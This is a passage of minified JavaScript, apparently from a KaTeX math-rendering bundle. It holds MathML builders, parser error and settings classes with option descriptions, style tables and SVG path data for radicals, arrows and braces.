d=h.children[0];d.style.height=St(f.height+f.depth),f.depth&&(d.style.verticalAlign=St(-f.depth))}return f}function sU(t){return new hd(t)}function $7(t){if(!t)return!1;if(t.type==="mi"&&t.children.length===1){var e=t.children[0];return e instanceof _o&&e.text==="."}else if(t.type==="mo"&&t.children.length===1&&t.getAttribute("separator")==="true"&&t.getAttribute("lspace")==="0em"&&t.getAttribute("rspace")==="0em"){var r=t.children[0];return r instanceof _o&&r.text===","}else return!1}function EV(t,e,r,n,i){var a=As(t,r),s;a.length===1&&a[0]instanceof es&&er.contains(["mrow","mtable"],a[0].type)?s=a[0]:s=new mt.MathNode("mrow",a);var l=new mt.MathNode("annotation",[new mt.TextNode(e)]);l.setAttribute("encoding","application/x-tex");var u=new mt.MathNode("semantics",[s,l]),h=new mt.MathNode("math",[u]);h.setAttribute("xmlns","http://www.w3.org/1998/Math/MathML"),n&&h.setAttribute("display","block");var f=i?"katex":"katex-mathml";return $e.makeSpan([f],[h])}function Tr(t,e){if(!t||t.type!==e)throw new Error("Expected node of type "+e+", but got "+(t?"node of type "+t.type:String(t)));return t}function fA(t){var e=D3(t);if(!e)throw new Error("Expected node of symbol group type, but got "+(t?"node of type "+t.type:String(t)));return e}function D3(t){return t&&(t.type==="atom"||CTe.hasOwnProperty(t.type))?t:null}function uU(t,e){var r=Ii(t.body,e,!0);return rwe([t.mclass],r,e)}function hU(t,e){var r,n=As(t.body,e);return t.mclass==="minner"?r=new mt.MathNode("mpadded",n):t.mclass==="mord"?t.isCharacterBox?(r=n[0],r.type="mi"):r=new mt.MathNode("mi",n):(t.isCharacterBox?(r=n[0],r.type="mo"):r=new mt.MathNode("mo",n),t.mclass==="mbin"?(r.attributes.lspace="0.22em",r.attributes.rspace="0.22em"):t.mclass==="mpunct"?(r.attributes.lspace="0em",r.attributes.rspace="0.17em"):t.mclass==="mopen"||t.mclass==="mclose"?(r.attributes.lspace="0em",r.attributes.rspace="0em"):t.mclass==="minner"&&(r.attributes.lspace="0.0556em",r.attributes.width="+0.1111em")),r}function awe(t,e,r){var n=nwe[t];switch(n){case"\\\\cdrightarrow":case"\\\\cdleftarrow":return r.callFunction(n,[e[0]],[e[1]]);case"\\uparrow":case"\\downarrow":{var i=r.callFunction("\\\\cdleft",[e[0]],[]),a={type:"atom",text:n,mode:"math",family:"rel"},s=r.callFunction("\\Big",[a],[]),l=r.callFunction("\\\\cdright",[e[1]],[]),u={type:"ordgroup",mode:"math",body:[i,s,l]};return r.callFunction("\\\\cdparent",[u],[])}case"\\\\cdlongequal":return r.callFunction("\\\\cdlongequal",[],[]);case"\\Vert":{var h={type:"textord",text:"\\Vert",mode:"math"};return r.callFunction("\\Big",[h],[])}default:return{type:"textord",text:" ",mode:"math"}}}function swe(t){var e=[];for(t.gullet.beginGroup(),t.gullet.macros.set("\\cr","\\\\\\relax"),t.gullet.beginGroup();;){e.push(t.parseExpression(!1,"\\\\")),t.gullet.endGroup(),t.gullet.beginGroup();var r=t.fetch().text;if(r==="&"||r==="\\\\")t.consume();else if(r==="\\end"){e[e.length-1].length===0&&e.pop();break}else throw new gt("Expected \\\\ or \\cr or \\end",t.nextToken)}for(var n=[],i=[n],a=0;a-1))if("<>AV".indexOf(h)>-1)for(var d=0;d<2;d++){for(var p=!0,m=u+1;mAV=|." after @',s[u]);var g=awe(h,f,t),y={type:"styling",body:[g],mode:"math",style:"display"};n.push(y),l=SV()}a%2===0?n.push(l):n.shift(),n=[],i.push(n)}t.gullet.endGroup(),t.gullet.endGroup();var v=new Array(i[0].length).fill({type:"align",align:"c",pregap:.25,postgap:.25});return{type:"array",mode:"math",body:i,arraystretch:1,addJot:!0,rowGaps:[null],cols:v,colSeparationType:"CD",hLinesBeforeRow:new Array(i.length+1).fill([])}}function R3(t,e){var r=D3(t);if(r&&er.contains(xwe,r.text))return r;throw r?new gt("Invalid delimiter '"+r.text+"' after '"+e.funcName+"'",t):new gt("Invalid delimiter type '"+t.type+"'",t)}function _V(t){if(!t.body)throw new Error("Bug: The leftright ParseNode wasn't fully parsed.")}function Jl(t){for(var{type:e,names:r,props:n,handler:i,htmlBuilder:a,mathmlBuilder:s}=t,l={type:e,numArgs:n.numArgs||0,allowedInText:!1,numOptionalArgs:0,handler:i},u=0;u1||!f)&&y.pop(),x.length{"use strict";to=class t{static{o(this,"SourceLocation")}constructor(e,r,n){this.lexer=void 0,this.start=void 0,this.end=void 0,this.lexer=e,this.start=r,this.end=n}static range(e,r){return r?!e||!e.loc||!r.loc||e.loc.lexer!==r.loc.lexer?null:new t(e.loc.lexer,e.loc.start,r.loc.end):e&&e.loc}},Do=class t{static{o(this,"Token")}constructor(e,r){this.text=void 0,this.loc=void 0,this.noexpand=void 0,this.treatAsRelax=void 0,this.text=e,this.loc=r}range(e,r){return new t(r,to.range(this,e))}},gt=class t{static{o(this,"ParseError")}constructor(e,r){this.name=void 0,this.position=void 0,this.length=void 0,this.rawMessage=void 0;var n="KaTeX parse error: "+e,i,a,s=r&&r.loc;if(s&&s.start<=s.end){var l=s.lexer.input;i=s.start,a=s.end,i===l.length?n+=" at end of input: ":n+=" at position "+(i+1)+": ";var u=l.slice(i,a).replace(/[^]/g,"$&\u0332"),h;i>15?h="\u2026"+l.slice(i-15,i):h=l.slice(0,i);var f;a+15":">","<":"<",'"':""","'":"'"},K5e=/[&><"']/g;o(Q5e,"escape");WV=o(function t(e){return e.type==="ordgroup"||e.type==="color"?e.body.length===1?t(e.body[0]):e:e.type==="font"?t(e.body):e},"getBaseElem"),Z5e=o(function(e){var r=WV(e);return r.type==="mathord"||r.type==="textord"||r.type==="atom"},"isCharacterBox"),J5e=o(function(e){if(!e)throw new Error("Expected non-null, but got "+String(e));return e},"assert"),eTe=o(function(e){var r=/^[\x00-\x20]*([^\\/#?]*?)(:|�*58|�*3a|&colon)/i.exec(e);return r?r[2]!==":"||!/^[a-zA-Z][a-zA-Z0-9+\-.]*$/.test(r[1])?null:r[1].toLowerCase():"_relative"},"protocolFromUrl"),er={contains:q5e,deflt:W5e,escape:Q5e,hyphenate:X5e,getBaseElem:WV,isCharacterBox:Z5e,protocolFromUrl:eTe},Wy={displayMode:{type:"boolean",description:"Render math in display mode, which puts the math in display style (so \\int and \\sum are large, for example), and centers the math on the page on its own line.",cli:"-d, --display-mode"},output:{type:{enum:["htmlAndMathml","html","mathml"]},description:"Determines the markup language of the output.",cli:"-F, --format "},leqno:{type:"boolean",description:"Render display math in leqno style (left-justified tags)."},fleqn:{type:"boolean",description:"Render display math flush left."},throwOnError:{type:"boolean",default:!0,cli:"-t, --no-throw-on-error",cliDescription:"Render errors (in the color given by --error-color) instead of throwing a ParseError exception when encountering an error."},errorColor:{type:"string",default:"#cc0000",cli:"-c, --error-color ",cliDescription:"A color string given in the format 'rgb' or 'rrggbb' (no #). This option determines the color of errors rendered by the -t option.",cliProcessor:o(t=>"#"+t,"cliProcessor")},macros:{type:"object",cli:"-m, --macro ",cliDescription:"Define custom macro of the form '\\foo:expansion' (use multiple -m arguments for multiple macros).",cliDefault:[],cliProcessor:o((t,e)=>(e.push(t),e),"cliProcessor")},minRuleThickness:{type:"number",description:"Specifies a minimum thickness, in ems, for fraction lines, `\\sqrt` top lines, `{array}` vertical lines, `\\hline`, `\\hdashline`, `\\underline`, `\\overline`, and the borders of `\\fbox`, `\\boxed`, and `\\fcolorbox`.",processor:o(t=>Math.max(0,t),"processor"),cli:"--min-rule-thickness ",cliProcessor:parseFloat},colorIsTextColor:{type:"boolean",description:"Makes \\color behave like LaTeX's 2-argument \\textcolor, instead of LaTeX's one-argument \\color mode change.",cli:"-b, --color-is-text-color"},strict:{type:[{enum:["warn","ignore","error"]},"boolean","function"],description:"Turn on strict / LaTeX faithfulness mode, which throws an error if the input uses features that are not supported by LaTeX.",cli:"-S, --strict",cliDefault:!1},trust:{type:["boolean","function"],description:"Trust the input, enabling all HTML features such as \\url.",cli:"-T, --trust"},maxSize:{type:"number",default:1/0,description:"If non-zero, all user-specified sizes, e.g. in \\rule{500em}{500em}, will be capped to maxSize ems. Otherwise, elements and spaces can be arbitrarily large",processor:o(t=>Math.max(0,t),"processor"),cli:"-s, --max-size ",cliProcessor:parseInt},maxExpand:{type:"number",default:1e3,description:"Limit the number of macro expansions to the specified number, to prevent e.g. infinite macro loops. If set to Infinity, the macro expander will try to fully expand as in LaTeX.",processor:o(t=>Math.max(0,t),"processor"),cli:"-e, --max-expand ",cliProcessor:o(t=>t==="Infinity"?1/0:parseInt(t),"cliProcessor")},globalGroup:{type:"boolean",cli:!1}};o(tTe,"getDefaultValue");Xy=class{static{o(this,"Settings")}constructor(e){this.displayMode=void 0,this.output=void 0,this.leqno=void 0,this.fleqn=void 0,this.throwOnError=void 0,this.errorColor=void 0,this.macros=void 0,this.minRuleThickness=void 0,this.colorIsTextColor=void 0,this.strict=void 0,this.trust=void 0,this.maxSize=void 0,this.maxExpand=void 0,this.globalGroup=void 0,e=e||{};for(var r in Wy)if(Wy.hasOwnProperty(r)){var n=Wy[r];this[r]=e[r]!==void 0?n.processor?n.processor(e[r]):e[r]:tTe(n)}}reportNonstrict(e,r,n){var i=this.strict;if(typeof i=="function"&&(i=i(e,r,n)),!(!i||i==="ignore")){if(i===!0||i==="error")throw new gt("LaTeX-incompatible input and strict mode is set to 'error': "+(r+" ["+e+"]"),n);i==="warn"?typeof console<"u"&&console.warn("LaTeX-incompatible input and strict mode is set to 'warn': "+(r+" ["+e+"]")):typeof console<"u"&&console.warn("LaTeX-incompatible input and strict mode is set to "+("unrecognized '"+i+"': "+r+" ["+e+"]"))}}useStrictBehavior(e,r,n){var i=this.strict;if(typeof i=="function")try{i=i(e,r,n)}catch{i="error"}return!i||i==="ignore"?!1:i===!0||i==="error"?!0:i==="warn"?(typeof console<"u"&&console.warn("LaTeX-incompatible input and strict mode is set to 'warn': "+(r+" ["+e+"]")),!1):(typeof console<"u"&&console.warn("LaTeX-incompatible input and strict mode is set to "+("unrecognized '"+i+"': "+r+" ["+e+"]")),!1)}isTrusted(e){if(e.url&&!e.protocol){var r=er.protocolFromUrl(e.url);if(r==null)return!1;e.protocol=r}var n=typeof this.trust=="function"?this.trust(e):this.trust;return!!n}},jl=class{static{o(this,"Style")}constructor(e,r,n){this.id=void 0,this.size=void 0,this.cramped=void 0,this.id=e,this.size=r,this.cramped=n}sup(){return Kl[rTe[this.id]]}sub(){return Kl[nTe[this.id]]}fracNum(){return Kl[iTe[this.id]]}fracDen(){return Kl[aTe[this.id]]}cramp(){return Kl[sTe[this.id]]}text(){return Kl[oTe[this.id]]}isTight(){return this.size>=2}},oA=0,x3=1,k0=2,hu=3,jy=4,Ao=5,E0=6,ts=7,Kl=[new jl(oA,0,!1),new jl(x3,0,!0),new jl(k0,1,!1),new jl(hu,1,!0),new jl(jy,2,!1),new jl(Ao,2,!0),new jl(E0,3,!1),new jl(ts,3,!0)],rTe=[jy,Ao,jy,Ao,E0,ts,E0,ts],nTe=[Ao,Ao,Ao,Ao,ts,ts,ts,ts],iTe=[k0,hu,jy,Ao,E0,ts,E0,ts],aTe=[hu,hu,Ao,Ao,ts,ts,ts,ts],sTe=[x3,x3,hu,hu,Ao,Ao,ts,ts],oTe=[oA,x3,k0,hu,k0,hu,k0,hu],nr={DISPLAY:Kl[oA],TEXT:Kl[k0],SCRIPT:Kl[jy],SCRIPTSCRIPT:Kl[E0]},j7=[{name:"latin",blocks:[[256,591],[768,879]]},{name:"cyrillic",blocks:[[1024,1279]]},{name:"armenian",blocks:[[1328,1423]]},{name:"brahmic",blocks:[[2304,4255]]},{name:"georgian",blocks:[[4256,4351]]},{name:"cjk",blocks:[[12288,12543],[19968,40879],[65280,65376]]},{name:"hangul",blocks:[[44032,55215]]}];o(lTe,"scriptFromCodepoint");v3=[];j7.forEach(t=>t.blocks.forEach(e=>v3.push(...e)));o(YV,"supportedCodepoint");w0=80,cTe=o(function(e,r){return"M95,"+(622+e+r)+` +c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14 +c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54 +c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10 +s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429 +c69,-144,104.5,-217.7,106.5,-221 +l`+e/2.075+" -"+e+` +c5.3,-9.3,12,-14,20,-14 +H400000v`+(40+e)+`H845.2724 +s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7 +c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47z +M`+(834+e)+" "+r+"h400000v"+(40+e)+"h-400000z"},"sqrtMain"),uTe=o(function(e,r){return"M263,"+(601+e+r)+`c0.7,0,18,39.7,52,119 +c34,79.3,68.167,158.7,102.5,238c34.3,79.3,51.8,119.3,52.5,120 +c340,-704.7,510.7,-1060.3,512,-1067 +l`+e/2.084+" -"+e+` +c4.7,-7.3,11,-11,19,-11 +H40000v`+(40+e)+`H1012.3 +s-271.3,567,-271.3,567c-38.7,80.7,-84,175,-136,283c-52,108,-89.167,185.3,-111.5,232 +c-22.3,46.7,-33.8,70.3,-34.5,71c-4.7,4.7,-12.3,7,-23,7s-12,-1,-12,-1 +s-109,-253,-109,-253c-72.7,-168,-109.3,-252,-110,-252c-10.7,8,-22,16.7,-34,26 +c-22,17.3,-33.3,26,-34,26s-26,-26,-26,-26s76,-59,76,-59s76,-60,76,-60z +M`+(1001+e)+" "+r+"h400000v"+(40+e)+"h-400000z"},"sqrtSize1"),hTe=o(function(e,r){return"M983 "+(10+e+r)+` +l`+e/3.13+" -"+e+` +c4,-6.7,10,-10,18,-10 H400000v`+(40+e)+` +H1013.1s-83.4,268,-264.1,840c-180.7,572,-277,876.3,-289,913c-4.7,4.7,-12.7,7,-24,7 +s-12,0,-12,0c-1.3,-3.3,-3.7,-11.7,-7,-25c-35.3,-125.3,-106.7,-373.3,-214,-744 +c-10,12,-21,25,-33,39s-32,39,-32,39c-6,-5.3,-15,-14,-27,-26s25,-30,25,-30 +c26.7,-32.7,52,-63,76,-91s52,-60,52,-60s208,722,208,722 +c56,-175.3,126.3,-397.3,211,-666c84.7,-268.7,153.8,-488.2,207.5,-658.5 +c53.7,-170.3,84.5,-266.8,92.5,-289.5z +M`+(1001+e)+" "+r+"h400000v"+(40+e)+"h-400000z"},"sqrtSize2"),fTe=o(function(e,r){return"M424,"+(2398+e+r)+` +c-1.3,-0.7,-38.5,-172,-111.5,-514c-73,-342,-109.8,-513.3,-110.5,-514 +c0,-2,-10.7,14.3,-32,49c-4.7,7.3,-9.8,15.7,-15.5,25c-5.7,9.3,-9.8,16,-12.5,20 +s-5,7,-5,7c-4,-3.3,-8.3,-7.7,-13,-13s-13,-13,-13,-13s76,-122,76,-122s77,-121,77,-121 +s209,968,209,968c0,-2,84.7,-361.7,254,-1079c169.3,-717.3,254.7,-1077.7,256,-1081 +l`+e/4.223+" -"+e+`c4,-6.7,10,-10,18,-10 H400000 +v`+(40+e)+`H1014.6 +s-87.3,378.7,-272.6,1166c-185.3,787.3,-279.3,1182.3,-282,1185 +c-2,6,-10,9,-24,9 +c-8,0,-12,-0.7,-12,-2z M`+(1001+e)+" "+r+` +h400000v`+(40+e)+"h-400000z"},"sqrtSize3"),dTe=o(function(e,r){return"M473,"+(2713+e+r)+` +c339.3,-1799.3,509.3,-2700,510,-2702 l`+e/5.298+" -"+e+` +c3.3,-7.3,9.3,-11,18,-11 H400000v`+(40+e)+`H1017.7 +s-90.5,478,-276.2,1466c-185.7,988,-279.5,1483,-281.5,1485c-2,6,-10,9,-24,9 +c-8,0,-12,-0.7,-12,-2c0,-1.3,-5.3,-32,-16,-92c-50.7,-293.3,-119.7,-693.3,-207,-1200 +c0,-1.3,-5.3,8.7,-16,30c-10.7,21.3,-21.3,42.7,-32,64s-16,33,-16,33s-26,-26,-26,-26 +s76,-153,76,-153s77,-151,77,-151c0.7,0.7,35.7,202,105,604c67.3,400.7,102,602.7,104, +606zM`+(1001+e)+" "+r+"h400000v"+(40+e)+"H1017.7z"},"sqrtSize4"),pTe=o(function(e){var r=e/2;return"M400000 "+e+" H0 L"+r+" 0 l65 45 L145 "+(e-80)+" H400000z"},"phasePath"),mTe=o(function(e,r,n){var i=n-54-r-e;return"M702 "+(e+r)+"H400000"+(40+e)+` +H742v`+i+`l-4 4-4 4c-.667.7 -2 1.5-4 2.5s-4.167 1.833-6.5 2.5-5.5 1-9.5 1 +h-12l-28-84c-16.667-52-96.667 -294.333-240-727l-212 -643 -85 170 +c-4-3.333-8.333-7.667-13 -13l-13-13l77-155 77-156c66 199.333 139 419.667 +219 661 l218 661zM702 `+r+"H400000v"+(40+e)+"H742z"},"sqrtTall"),gTe=o(function(e,r,n){r=1e3*r;var i="";switch(e){case"sqrtMain":i=cTe(r,w0);break;case"sqrtSize1":i=uTe(r,w0);break;case"sqrtSize2":i=hTe(r,w0);break;case"sqrtSize3":i=fTe(r,w0);break;case"sqrtSize4":i=dTe(r,w0);break;case"sqrtTall":i=mTe(r,w0,n)}return i},"sqrtPath"),yTe=o(function(e,r){switch(e){case"\u239C":return"M291 0 H417 V"+r+" H291z M291 0 H417 V"+r+" H291z";case"\u2223":return"M145 0 H188 V"+r+" H145z M145 0 H188 V"+r+" H145z";case"\u2225":return"M145 0 H188 V"+r+" H145z M145 0 H188 V"+r+" H145z"+("M367 0 H410 V"+r+" H367z M367 0 H410 V"+r+" H367z");case"\u239F":return"M457 0 H583 V"+r+" H457z M457 0 H583 V"+r+" H457z";case"\u23A2":return"M319 0 H403 V"+r+" H319z M319 0 H403 V"+r+" H319z";case"\u23A5":return"M263 0 H347 V"+r+" H263z M263 0 H347 V"+r+" H263z";case"\u23AA":return"M384 0 H504 V"+r+" H384z M384 0 H504 V"+r+" H384z";case"\u23D0":return"M312 0 H355 V"+r+" H312z M312 0 H355 V"+r+" H312z";case"\u2016":return"M257 0 H300 V"+r+" H257z M257 0 H300 V"+r+" H257z"+("M478 0 H521 V"+r+" H478z M478 0 H521 V"+r+" H478z");default:return""}},"innerPath"),mV={doubleleftarrow:`M262 157 +l10-10c34-36 62.7-77 86-123 3.3-8 5-13.3 5-16 0-5.3-6.7-8-20-8-7.3 + 0-12.2.5-14.5 1.5-2.3 1-4.8 4.5-7.5 10.5-49.3 97.3-121.7 169.3-217 216-28 + 14-57.3 25-88 33-6.7 2-11 3.8-13 5.5-2 1.7-3 4.2-3 7.5s1 5.8 3 7.5 +c2 1.7 6.3 3.5 13 5.5 68 17.3 128.2 47.8 180.5 91.5 52.3 43.7 93.8 96.2 124.5 + 157.5 9.3 8 15.3 12.3 18 13h6c12-.7 18-4 18-10 0-2-1.7-7-5-15-23.3-46-52-87 +-86-123l-10-10h399738v-40H218c328 0 0 0 0 0l-10-8c-26.7-20-65.7-43-117-69 2.7 +-2 6-3.7 10-5 36.7-16 72.3-37.3 107-64l10-8h399782v-40z +m8 0v40h399730v-40zm0 194v40h399730v-40z`,doublerightarrow:`M399738 392l +-10 10c-34 36-62.7 77-86 123-3.3 8-5 13.3-5 16 0 5.3 6.7 8 20 8 7.3 0 12.2-.5 + 14.5-1.5 2.3-1 4.8-4.5 7.5-10.5 49.3-97.3 121.7-169.3 217-216 28-14 57.3-25 88 +-33 6.7-2 11-3.8 13-5.5 2-1.7 3-4.2 3-7.5s-1-5.8-3-7.5c-2-1.7-6.3-3.5-13-5.5-68 +-17.3-128.2-47.8-180.5-91.5-52.3-43.7-93.8-96.2-124.5-157.5-9.3-8-15.3-12.3-18 +-13h-6c-12 .7-18 4-18 10 0 2 1.7 7 5 15 23.3 46 52 87 86 123l10 10H0v40h399782 +c-328 0 0 0 0 0l10 8c26.7 20 65.7 43 117 69-2.7 2-6 3.7-10 5-36.7 16-72.3 37.3 +-107 64l-10 8H0v40zM0 157v40h399730v-40zm0 194v40h399730v-40z`,leftarrow:`M400000 241H110l3-3c68.7-52.7 113.7-120 + 135-202 4-14.7 6-23 6-25 0-7.3-7-11-21-11-8 0-13.2.8-15.5 2.5-2.3 1.7-4.2 5.8 +-5.5 12.5-1.3 4.7-2.7 10.3-4 17-12 48.7-34.8 92-68.5 130S65.3 228.3 18 247 +c-10 4-16 7.7-18 11 0 8.7 6 14.3 18 17 47.3 18.7 87.8 47 121.5 85S196 441.3 208 + 490c.7 2 1.3 5 2 9s1.2 6.7 1.5 8c.3 1.3 1 3.3 2 6s2.2 4.5 3.5 5.5c1.3 1 3.3 + 1.8 6 2.5s6 1 10 1c14 0 21-3.7 21-11 0-2-2-10.3-6-25-20-79.3-65-146.7-135-202 + l-3-3h399890zM100 241v40h399900v-40z`,leftbrace:`M6 548l-6-6v-35l6-11c56-104 135.3-181.3 238-232 57.3-28.7 117 +-45 179-50h399577v120H403c-43.3 7-81 15-113 26-100.7 33-179.7 91-237 174-2.7 + 5-6 9-10 13-.7 1-7.3 1-20 1H6z`,leftbraceunder:`M0 6l6-6h17c12.688 0 19.313.3 20 1 4 4 7.313 8.3 10 13 + 35.313 51.3 80.813 93.8 136.5 127.5 55.688 33.7 117.188 55.8 184.5 66.5.688 + 0 2 .3 4 1 18.688 2.7 76 4.3 172 5h399450v120H429l-6-1c-124.688-8-235-61.7 +-331-161C60.687 138.7 32.312 99.3 7 54L0 41V6z`,leftgroup:`M400000 80 +H435C64 80 168.3 229.4 21 260c-5.9 1.2-18 0-18 0-2 0-3-1-3-3v-38C76 61 257 0 + 435 0h399565z`,leftgroupunder:`M400000 262 +H435C64 262 168.3 112.6 21 82c-5.9-1.2-18 0-18 0-2 0-3 1-3 3v38c76 158 257 219 + 435 219h399565z`,leftharpoon:`M0 267c.7 5.3 3 10 7 14h399993v-40H93c3.3 +-3.3 10.2-9.5 20.5-18.5s17.8-15.8 22.5-20.5c50.7-52 88-110.3 112-175 4-11.3 5 +-18.3 3-21-1.3-4-7.3-6-18-6-8 0-13 .7-15 2s-4.7 6.7-8 16c-42 98.7-107.3 174.7 +-196 228-6.7 4.7-10.7 8-12 10-1.3 2-2 5.7-2 11zm100-26v40h399900v-40z`,leftharpoonplus:`M0 267c.7 5.3 3 10 7 14h399993v-40H93c3.3-3.3 10.2-9.5 + 20.5-18.5s17.8-15.8 22.5-20.5c50.7-52 88-110.3 112-175 4-11.3 5-18.3 3-21-1.3 +-4-7.3-6-18-6-8 0-13 .7-15 2s-4.7 6.7-8 16c-42 98.7-107.3 174.7-196 228-6.7 4.7 +-10.7 8-12 10-1.3 2-2 5.7-2 11zm100-26v40h399900v-40zM0 435v40h400000v-40z +m0 0v40h400000v-40z`,leftharpoondown:`M7 241c-4 4-6.333 8.667-7 14 0 5.333.667 9 2 11s5.333 + 5.333 12 10c90.667 54 156 130 196 228 3.333 10.667 6.333 16.333 9 17 2 .667 5 + 1 9 1h5c10.667 0 16.667-2 18-6 2-2.667 1-9.667-3-21-32-87.333-82.667-157.667 +-152-211l-3-3h399907v-40zM93 281 H400000 v-40L7 241z`,leftharpoondownplus:`M7 435c-4 4-6.3 8.7-7 14 0 5.3.7 9 2 11s5.3 5.3 12 + 10c90.7 54 156 130 196 228 3.3 10.7 6.3 16.3 9 17 2 .7 5 1 9 1h5c10.7 0 16.7 +-2 18-6 2-2.7 1-9.7-3-21-32-87.3-82.7-157.7-152-211l-3-3h399907v-40H7zm93 0 +v40h399900v-40zM0 241v40h399900v-40zm0 0v40h399900v-40z`,lefthook:`M400000 281 H103s-33-11.2-61-33.5S0 197.3 0 164s14.2-61.2 42.5 +-83.5C70.8 58.2 104 47 142 47 c16.7 0 25 6.7 25 20 0 12-8.7 18.7-26 20-40 3.3 +-68.7 15.7-86 37-10 12-15 25.3-15 40 0 22.7 9.8 40.7 29.5 54 19.7 13.3 43.5 21 + 71.5 23h399859zM103 281v-40h399897v40z`,leftlinesegment:`M40 281 V428 H0 V94 H40 V241 H400000 v40z +M40 281 V428 H0 V94 H40 V241 H400000 v40z`,leftmapsto:`M40 281 V448H0V74H40V241H400000v40z +M40 281 V448H0V74H40V241H400000v40z`,leftToFrom:`M0 147h400000v40H0zm0 214c68 40 115.7 95.7 143 167h22c15.3 0 23 +-.3 23-1 0-1.3-5.3-13.7-16-37-18-35.3-41.3-69-70-101l-7-8h399905v-40H95l7-8 +c28.7-32 52-65.7 70-101 10.7-23.3 16-35.7 16-37 0-.7-7.7-1-23-1h-22C115.7 265.3 + 68 321 0 361zm0-174v-40h399900v40zm100 154v40h399900v-40z`,longequal:`M0 50 h400000 v40H0z m0 194h40000v40H0z +M0 50 h400000 v40H0z m0 194h40000v40H0z`,midbrace:`M200428 334 +c-100.7-8.3-195.3-44-280-108-55.3-42-101.7-93-139-153l-9-14c-2.7 4-5.7 8.7-9 14 +-53.3 86.7-123.7 153-211 199-66.7 36-137.3 56.3-212 62H0V214h199568c178.3-11.7 + 311.7-78.3 403-201 6-8 9.7-12 11-12 .7-.7 6.7-1 18-1s17.3.3 18 1c1.3 0 5 4 11 + 12 44.7 59.3 101.3 106.3 170 141s145.3 54.3 229 60h199572v120z`,midbraceunder:`M199572 214 +c100.7 8.3 195.3 44 280 108 55.3 42 101.7 93 139 153l9 14c2.7-4 5.7-8.7 9-14 + 53.3-86.7 123.7-153 211-199 66.7-36 137.3-56.3 212-62h199568v120H200432c-178.3 + 11.7-311.7 78.3-403 201-6 8-9.7 12-11 12-.7.7-6.7 1-18 1s-17.3-.3-18-1c-1.3 0 +-5-4-11-12-44.7-59.3-101.3-106.3-170-141s-145.3-54.3-229-60H0V214z`,oiintSize1:`M512.6 71.6c272.6 0 320.3 106.8 320.3 178.2 0 70.8-47.7 177.6 +-320.3 177.6S193.1 320.6 193.1 249.8c0-71.4 46.9-178.2 319.5-178.2z +m368.1 178.2c0-86.4-60.9-215.4-368.1-215.4-306.4 0-367.3 129-367.3 215.4 0 85.8 +60.9 214.8 367.3 214.8 307.2 0 368.1-129 368.1-214.8z`,oiintSize2:`M757.8 100.1c384.7 0 451.1 137.6 451.1 230 0 91.3-66.4 228.8 +-451.1 228.8-386.3 0-452.7-137.5-452.7-228.8 0-92.4 66.4-230 452.7-230z +m502.4 230c0-111.2-82.4-277.2-502.4-277.2s-504 166-504 277.2 +c0 110 84 276 504 276s502.4-166 502.4-276z`,oiiintSize1:`M681.4 71.6c408.9 0 480.5 106.8 480.5 178.2 0 70.8-71.6 177.6 +-480.5 177.6S202.1 320.6 202.1 249.8c0-71.4 70.5-178.2 479.3-178.2z +m525.8 178.2c0-86.4-86.8-215.4-525.7-215.4-437.9 0-524.7 129-524.7 215.4 0 +85.8 86.8 214.8 524.7 214.8 438.9 0 525.7-129 525.7-214.8z`,oiiintSize2:`M1021.2 53c603.6 0 707.8 165.8 707.8 277.2 0 110-104.2 275.8 +-707.8 275.8-606 0-710.2-165.8-710.2-275.8C311 218.8 415.2 53 1021.2 53z +m770.4 277.1c0-131.2-126.4-327.6-770.5-327.6S248.4 198.9 248.4 330.1 +c0 130 128.8 326.4 772.7 326.4s770.5-196.4 770.5-326.4z`,rightarrow:`M0 241v40h399891c-47.3 35.3-84 78-110 128 +-16.7 32-27.7 63.7-33 95 0 1.3-.2 2.7-.5 4-.3 1.3-.5 2.3-.5 3 0 7.3 6.7 11 20 + 11 8 0 13.2-.8 15.5-2.5 2.3-1.7 4.2-5.5 5.5-11.5 2-13.3 5.7-27 11-41 14.7-44.7 + 39-84.5 73-119.5s73.7-60.2 119-75.5c6-2 9-5.7 9-11s-3-9-9-11c-45.3-15.3-85 +-40.5-119-75.5s-58.3-74.8-73-119.5c-4.7-14-8.3-27.3-11-40-1.3-6.7-3.2-10.8-5.5 +-12.5-2.3-1.7-7.5-2.5-15.5-2.5-14 0-21 3.7-21 11 0 2 2 10.3 6 25 20.7 83.3 67 + 151.7 139 205zm0 0v40h399900v-40z`,rightbrace:`M400000 542l +-6 6h-17c-12.7 0-19.3-.3-20-1-4-4-7.3-8.3-10-13-35.3-51.3-80.8-93.8-136.5-127.5 +s-117.2-55.8-184.5-66.5c-.7 0-2-.3-4-1-18.7-2.7-76-4.3-172-5H0V214h399571l6 1 +c124.7 8 235 61.7 331 161 31.3 33.3 59.7 72.7 85 118l7 13v35z`,rightbraceunder:`M399994 0l6 6v35l-6 11c-56 104-135.3 181.3-238 232-57.3 + 28.7-117 45-179 50H-300V214h399897c43.3-7 81-15 113-26 100.7-33 179.7-91 237 +-174 2.7-5 6-9 10-13 .7-1 7.3-1 20-1h17z`,rightgroup:`M0 80h399565c371 0 266.7 149.4 414 180 5.9 1.2 18 0 18 0 2 0 + 3-1 3-3v-38c-76-158-257-219-435-219H0z`,rightgroupunder:`M0 262h399565c371 0 266.7-149.4 414-180 5.9-1.2 18 0 18 + 0 2 0 3 1 3 3v38c-76 158-257 219-435 219H0z`,rightharpoon:`M0 241v40h399993c4.7-4.7 7-9.3 7-14 0-9.3 +-3.7-15.3-11-18-92.7-56.7-159-133.7-199-231-3.3-9.3-6-14.7-8-16-2-1.3-7-2-15-2 +-10.7 0-16.7 2-18 6-2 2.7-1 9.7 3 21 15.3 42 36.7 81.8 64 119.5 27.3 37.7 58 + 69.2 92 94.5zm0 0v40h399900v-40z`,rightharpoonplus:`M0 241v40h399993c4.7-4.7 7-9.3 7-14 0-9.3-3.7-15.3-11 +-18-92.7-56.7-159-133.7-199-231-3.3-9.3-6-14.7-8-16-2-1.3-7-2-15-2-10.7 0-16.7 + 2-18 6-2 2.7-1 9.7 3 21 15.3 42 36.7 81.8 64 119.5 27.3 37.7 58 69.2 92 94.5z +m0 0v40h399900v-40z m100 194v40h399900v-40zm0 0v40h399900v-40z`,rightharpoondown:`M399747 511c0 7.3 